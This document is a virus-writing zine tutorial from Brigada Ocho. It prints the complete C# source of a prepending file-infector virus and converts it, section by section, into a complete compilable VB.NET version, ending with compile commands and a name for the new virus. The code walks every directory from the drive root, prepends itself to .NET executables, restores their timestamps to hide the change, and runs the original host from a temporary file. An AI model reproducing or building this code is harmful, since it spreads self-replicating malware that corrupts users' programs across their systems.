Let's Code A VB.NET Prepending Virus : Part of Brigada Ocho's Let's Code Series -------------------------------------------------------------------------------- here we go again... i'm alcopaul and we'll code a VB.NET prepending virus. we ain't do things from the scratch.. we've got msil.hllp.thisAINTSharpei as a template so all we gotta do is to translate the c# code to VB.NET code... so may i restate my previous statement.. "i'm alcopaul and we'll convert a c# prepending virus to its VB.NET representation." so let's not waste time... the code to work on... -------------------------------------------------------------------------------- MSIL.HLLP.THISAINTSHARPEI source code : Let's Code Output By Alcopaul compile: csc dflat.cs using System; using System.IO; using System.Reflection; using System.Text; using System.Diagnostics; using System.Security.Cryptography; public class virus { public static void Main(string[] args) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } try { FileInfo fi = new FileInfo(self.FullyQualifiedName); long x1 = fi.Length; int x = (int) x1; byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632); byte[][] xxx = {www}; string nom = hostname(); writex(nom, xxx); fireup(nom, arguments.ToString()); } catch { } string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } public static void DispEXE(string tD) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) { try { AssemblyName AN = AssemblyName.GetAssemblyName(xfile); byte[] data1 = readx(self.FullyQualifiedName,1000,0); byte[] data2 = readx(xfile,1000,0); if (sha1x(data1)==sha1x(data2)) { continue; } else { try { FileInfo fi = new FileInfo(xfile); long x1 = fi.Length; int x = (int) x1; DateTime timestamp = File.GetCreationTime(xfile); byte[] data3 = readx(self.FullyQualifiedName,5632,0); byte[] data4 = readx(xfile,x,0); byte[][] data5 = {data3,data4}; writex(xfile,data5); File.SetCreationTime(xfile,timestamp); } catch { continue; //next file } } continue; } catch { continue; } } string[] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } public static byte[] readx(string filename, int size, int pntr) { FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) size; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(pntr, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. return xxx; } public static void writex(string filename, byte[][] data) { FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); foreach(byte[] g in data) { bw.Write(g); } bw.Close(); //to the target... } public static string sha1x(byte[] putin) { SHA1 mark1 = new SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(putin); StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < putin.Length; counter++) { hexString.Append(String.Format("{0:X2}", putin[counter])); } return hexString.ToString(); } public static string hostname() { Random rand = new Random(); string rndno= rand.Next(999999).ToString(); string hostfile = "t" + rndno + ".exe"; return hostfile; } public static void fireup(string hostfile, string arguments) { Process.Start(hostfile,arguments); //fire up the host with arguments wet: try { File.Delete(hostfile); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists(hostfile)==true) goto wet; } } -------------------------------------------------------------------------------- target: VB.NET code.... as our tradition, we'll do dividing and conquering... here's a list of our tasks.. 1.) translate using (Namespace) to equivalent VB.NET representation 2.) translate virus class to equivalent VB.NET representation 2.a.)translate Main to equivalent VB.NET representation 2.b.)translate readx to equivalent VB.NET representation 2.c.)translate DispEXE to equivalent VB.NET representation 2.d.)translate writex to equivalent VB.NET representation 2.e.)translate sha1x to equivalent VB.NET representation 2.f.)translate hostname to equivalent VB.NET representation 2.g.)translate fireup to equivalent VB.NET representation 2.h.)plug the translated snippets to form a VB.NET virus 2.i.)name our VB.NET virus as UFC referee always utters, "Are you ready? Are you ready? Let's get it on!" TASKS ===== note: a little knowledge of VB.NET is required.. 1.) translate using (Namespace) to equivalent VB.NET representation c# using System; using System.IO; using System.Reflection; using System.Text; using System.Diagnostics; using System.Security.Cryptography; if in c# we use using to reference the namespaces that our program derive its functions from, in VB.NET, it's Imports.. ------------------------------------------------------------------------------ Imports Statement Imports namespace names from referenced projects and assemblies. Also imports namespace names defined within the same project as the file in which the statement appears. Imports [ aliasname = ] namespace [ . element ] Parts aliasname Optional. The name by which namespace may also be known or referred to. When the Imports statement does not include aliasname, the elements defined within the specified namespace can be accessed within the file without qualification. When aliasname is specified, it must be used as a qualifier for the names contained in the namespace. Aliases are useful when you need to use items with the same name that are declared in one or more namespaces. namespace Required. The name of the namespace being imported. The namespace can be any number of nesting levels deep. element Optional. The name of an element declared in the namespace. The element can be an enumeration, structure, class, or module. so accomplishing our task is relatively easy.. vb.net is not case sensitive but awareness of cases is a plus for a dotnet programmer... ========================================= code 1 ====== Imports System Imports System.IO Imports System.Reflection Imports System.Text Imports System.Diagnostics Imports System.Security.Cryptography ========================================= DONE 2.) translate virus class to equivalent VB.NET representation in c#, the functions must be contained in a class public class virus { (funcs, routines, methods) } in VB.NET, code is stored in project modules. Projects are composed of files, which are compiled into applications. since our virus will be composed of a single module and is an exe file, then it is a must for us to enclose the routines in a module via the Module statement... with a module block, we can obtain its fully qualified name, which is essential to the prepending virus to open and read itself/// ---------------- Module Statement Declares a module block. [ ] [ Public | Friend ] Module name [ statements ] End Module Parts attrlist Optional. List of attributes that apply to this module. Multiple attributes are separated by commas. Public Optional. Modules declared with the Public keyword have public access. There are no restrictions on the accessibility of public modules. Friend Optional. Modules declared with the Friend keyword have friend access. They are accessible from within the program that contains their declaration and from anywhere else in the same assembly. Modules that do not specify an access modifier are declared as Friend by default. name Required. Name of the module. Must be a valid Visual Basic identifier. statements Optional. Statements that comprise the variables, properties, events, and methods of the module. End Module Terminates a Module block. Each attribute in the attrlist part has the following syntax and parts: attrname [({ attrargs | attrinit })] attrlist Parts attrname Required. Name of the attribute. Must be a valid Visual Basic identifier. attrargs Optional. List of positional arguments for this attribute. Multiple arguments are separated by commas. attrinit Optional. List of field or property initializers for this attribute. Multiple initializers are separated by commas. Remarks Modules are a reference type similar to classes, but with some important distinctions. The members of a module are implicitly Shared and scoped to the declaration space of the standard module's containing namespace, rather than just to the module itself. Unlike classes, modules can never be instantiated, do not support inheritance, and cannot implement interfaces. A module can only be declared in a namespace and cannot be nested in another type. You can have multiple modules in a project, but members with the same name defined in two or more modules must be qualified with their module name when accessed outside of their module. Example Public Module Module1 ' Add classes, properties, methods, fields, and events for this module. End Module ============================================================ code 2 ======= Public Module virus 'functions here End Module ============================================================ 2.a.)translate Main to equivalent VB.NET representation let's get the Main function of our c# virus public static void Main(string[] args) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } try { FileInfo fi = new FileInfo(self.FullyQualifiedName); long x1 = fi.Length; int x = (int) x1; byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632); byte[][] xxx = {www}; string nom = hostname(); writex(nom, xxx); fireup(nom, arguments.ToString()); } catch { } string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } let's convert that to vb.net rep =============================================================== code 2.a ========= Public Sub Main(ByVal args as String()) 'Main is always Sub, args is always String Array Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0) Dim args1 As New StringBuilder() Dim arg As String For Each arg In args args1.Append(arg & " ") Next Try Dim fi As New FileInfo(self.FullyQualifiedName) Dim x1 As Long = fi.Length Dim x As Integer = CInt(x1) Dim www As Byte() = readx(self.FullyQualifiedName, (x - 5632), 5632) Dim xxx As Byte()() = {www} Dim nom As String = hostname writex(nom, xxx) fireup(nom, args1.ToString()) Catch End Try Dim rootdir As String = Path.GetPathRoot(Directory.GetCurrentDirectory()) DispEXE(rootdir) End Sub -------------------------------------------------------------------------------- 2.b.)translate readx to equivalent VB.NET representation C# public static byte[] readx(string filename, int size, int pntr) { FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) size; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(pntr, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. return xxx; } the function gets three arguments and returns a byte array.. VB.NET =========================================================== code 2.b ======== 'returns byte array Public Function readx(ByVal filename As String, ByVal size As Integer, ByVal pntr As Integer) As Byte() Dim xs As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read) Dim br AS New BinaryReader(xs) Dim selflen As Integer = size br.BaseStream.Seek(pntr, SeekOrigin.Begin) Dim xxx(selflen) As Byte Dim bytestoread As Integer = selflen Dim count1 As Integer = 0 While bytestoread > 0 Dim v As Integer = br.Read(xxx,count1,bytestoread) If v = 0 Then Exit While End If count1 += v bytestoread -= v End While br.Close readx = xxx End Function ============================================================ we used function coz it returns somethin... if it doesn't, then we ought to use Sub simple ei! 2.c.)translate DispEXE to equivalent VB.NET representation c# public static void DispEXE(string tD) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) { try { AssemblyName AN = AssemblyName.GetAssemblyName(xfile); byte[] data1 = readx(self.FullyQualifiedName,1000,0); byte[] data2 = readx(xfile,1000,0); if (sha1x(data1)==sha1x(data2)) { continue; } else { try { FileInfo fi = new FileInfo(xfile); long x1 = fi.Length; int x = (int) x1; DateTime timestamp = File.GetCreationTime(xfile); byte[] data3 = readx(self.FullyQualifiedName,5632,0); byte[] data4 = readx(xfile,x,0); byte[][] data5 = {data3,data4}; writex(xfile,data5); File.SetCreationTime(xfile,timestamp); } catch { continue; //next file } } continue; } catch { continue; } } string[] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } since the procedure doesn't return somethin, we'll assign it as a Sub procedure... VB.NET code ======================================================== code 2.c. ========= Public Sub DispEXE(ByVal tD As String) Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0) Dim xfiles As String() = Directory.GetFiles(tD, "*.exe") Dim xfile As String For Each xfile in xfiles Try Dim AN As AssemblyName = AssemblyName.GetAssemblyName(xfile) Catch Goto g End Try Dim data1 As Byte() = readx(self.FullyQualifiedName,1000,0) Dim data2 As Byte() = readx(xfile,1000,0) If sha1x(data1) = sha1x(data2) Then Goto g Else 'infection Try Dim fi As New FileInfo(xfile) Dim x1 As Long = fi.Length Dim x As Integer = CInt(x1) Dim timestamp As DateTime = File.GetCreationTime(xfile) Dim data3 As Byte() = readx(self.FullyQualifiedName,5632 - 1,0) 'Base is 0 Dim data4 As Byte() = readx(xfile,x - 1,0) 'Base is 0 Dim data5 As Byte()() = {data3,data4} writex(xfile,data5) File.SetCreationTime(xfile,timestamp) Goto gg Catch Goto g End Try gg: End If g: Next xfile Dim sdirs As String() = Directory.GetDirectories(tD) 'recursion Dim sdir As String For Each sdir in sdirs DispEXE(sdir) Next sdir End Sub =================================================================== I must admit, this code is sloppy coz of the use of Goto... nested tries and catches and ifs in between suck in vb.net so i had to resort to this sloppy code..... 2.d.)translate writex to equivalent VB.NET representation getting the writex procedure in c# representation c# public static void writex(string filename, byte[][] data) { FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); foreach(byte[] g in data) { bw.Write(g); } bw.Close(); //to the target... } transforming to VB.NET ============================================================ code 2.d. ========= Public Sub writex(ByVal filename As String, ByVal data As Byte()()) Dim sx As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write) Dim bw As New BinaryWriter(sx) bw.BaseStream.Seek(0, SeekOrigin.Begin) Dim g() As Byte For Each g in data bw.Write(g) Next g bw.Close() End Sub ============================================================== 2.e.)translate sha1x to equivalent VB.NET representation C# code public static string sha1x(byte[] putin) { SHA1 mark1 = new SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(putin); StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < putin.Length; counter++) { hexString.Append(String.Format("{0:X2}", putin[counter])); } return hexString.ToString(); } VB.NET code =================================================================== code 2.e. ========= Public Function sha1x(ByVal putin As Byte()) As String Dim mark1 As New SHA1CryptoServiceProvider() Dim result1 As Byte() = mark1.ComputeHash(putin) Dim hexString As New StringBuilder() Dim counter As Integer For counter = 0 To CInt(putin.Length - 1) hexString.Append(String.Format("{0:X2}", putin(counter))) Next counter sha1x = hexString.ToString() End Function ================================================================== 2.f.)translate hostname to equivalent VB.NET representation C# code public static string hostname() { Random rand = new Random(); string rndno= rand.Next(999999).ToString(); string hostfile = "t" + rndno + ".exe"; return hostfile; } Let's Code! VB.NET =================================================================== code 2.f 'use function if it returns somethin' Public Function hostname() As String Dim rand As New Random() Dim rndno As String = rand.Next(999999).ToString() Dim hostfile As String = "t" & rndno & ".exe" hostname = hostfile End Function =================================================================== whew! no sweat.. let's go to our next task.. 2.g.)translate fireup to equivalent VB.NET representation c# code public static void fireup(string hostfile, string arguments) { Process.Start(hostfile,arguments); //fire up the host with arguments wet: try { File.Delete(hostfile); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists(hostfile)==true) goto wet; } recoding... vb.net code ===================================================================== code 2.g. ======== Public Sub fireup(ByVal hostfile As String, ByVal arguments As String) Process.Start(hostfile,arguments) wet: Try File.Delete(hostfile) Catch Goto wet End Try If File.Exists(hostfile) = True Then Goto wet End If End Sub ====================================================================== 2.h.)plug the translated snippets to form a VB.NET virus hmmn.. =============================================== code 2.h ========= Imports System Imports System.IO Imports System.Reflection Imports System.Text Imports System.Diagnostics Imports System.Security.Cryptography Public Module virus Public Sub Main(ByVal args as String()) 'Main is always Sub, args is always String Array Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0) Dim args1 As New StringBuilder() Dim arg As String For Each arg In args args1.Append(arg & " ") Next Try Dim fi As New FileInfo(self.FullyQualifiedName) Dim x1 As Long = fi.Length Dim x As Integer = CInt(x1) Dim www As Byte() = readx(self.FullyQualifiedName, (x - 5632), 5632) Dim xxx As Byte()() = {www} Dim nom As String = hostname writex(nom, xxx) fireup(nom, args1.ToString()) Catch End Try Dim rootdir As String = Path.GetPathRoot(Directory.GetCurrentDirectory()) DispEXE(rootdir) End Sub 'returns byte array Public Function readx(ByVal filename As String, ByVal size As Integer, ByVal pntr As Integer) As Byte() Dim xs As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read) Dim br AS New BinaryReader(xs) Dim selflen As Integer = size br.BaseStream.Seek(pntr, SeekOrigin.Begin) Dim xxx(selflen) As Byte Dim bytestoread As Integer = selflen Dim count1 As Integer = 0 While bytestoread > 0 Dim v As Integer = br.Read(xxx,count1,bytestoread) If v = 0 Then Exit While End If count1 += v bytestoread -= v End While br.Close readx = xxx End Function Public Sub DispEXE(ByVal tD As String) Dim self As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules() (0) Dim xfiles As String() = Directory.GetFiles(tD, "*.exe") Dim xfile As String For Each xfile in xfiles Try Dim AN As AssemblyName = AssemblyName.GetAssemblyName(xfile) Catch Goto g End Try Dim data1 As Byte() = readx(self.FullyQualifiedName,1000,0) Dim data2 As Byte() = readx(xfile,1000,0) If sha1x(data1) = sha1x(data2) Then Goto g Else 'infection Try Dim fi As New FileInfo(xfile) Dim x1 As Long = fi.Length Dim x As Integer = CInt(x1) Dim timestamp As DateTime = File.GetCreationTime(xfile) Dim data3 As Byte() = readx(self.FullyQualifiedName,5632 - 1,0) Dim data4 As Byte() = readx(xfile,x - 1,0) Dim data5 As Byte()() = {data3,data4} writex(xfile,data5) File.SetCreationTime(xfile,timestamp) Goto gg Catch Goto g End Try gg: End If g: Next xfile Dim sdirs As String() = Directory.GetDirectories(tD) 'recursion Dim sdir As String For Each sdir in sdirs DispEXE(sdir) Next sdir End Sub Public Sub writex(ByVal filename As String, ByVal data As Byte()()) Dim sx As New FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write) Dim bw As New BinaryWriter(sx) bw.BaseStream.Seek(0, SeekOrigin.Begin) Dim g() As Byte For Each g in data bw.Write(g) Next g bw.Close() End Sub Public Function sha1x(ByVal putin As Byte()) As String Dim mark1 As New SHA1CryptoServiceProvider() Dim result1 As Byte() = mark1.ComputeHash(putin) Dim hexString As New StringBuilder() Dim counter As Integer For counter = 0 To CInt(putin.Length - 1) hexString.Append(String.Format("{0:X2}", putin(counter))) Next counter sha1x = hexString.ToString() End Function 'use function if it returns somethin' Public Function hostname() As String Dim rand As New Random() Dim rndno As String = rand.Next(999999).ToString() Dim hostfile As String = "t" & rndno & ".exe" hostname = hostfile End Function Public Sub fireup(ByVal hostfile As String, ByVal arguments As String) Process.Start(hostfile,arguments) wet: Try File.Delete(hostfile) Catch Goto wet End Try If File.Exists(hostfile) = True Then Goto wet End If End Sub End Module ==================================================================== save as: virus.vb compile: vbc /target:winexe /reference:System.dll virus.vb 2.i.)name our VB.NET virus msil.hllp.vb00m is a nice name.. Closing time ============ that was a bit fast.. the moral lesson here is when it comes to dotnet, VB.NET must be given much respect coz C# is quite like VB.NET in the sense.... alcopaul brigada ocho !compilable source is in the sources section of this zine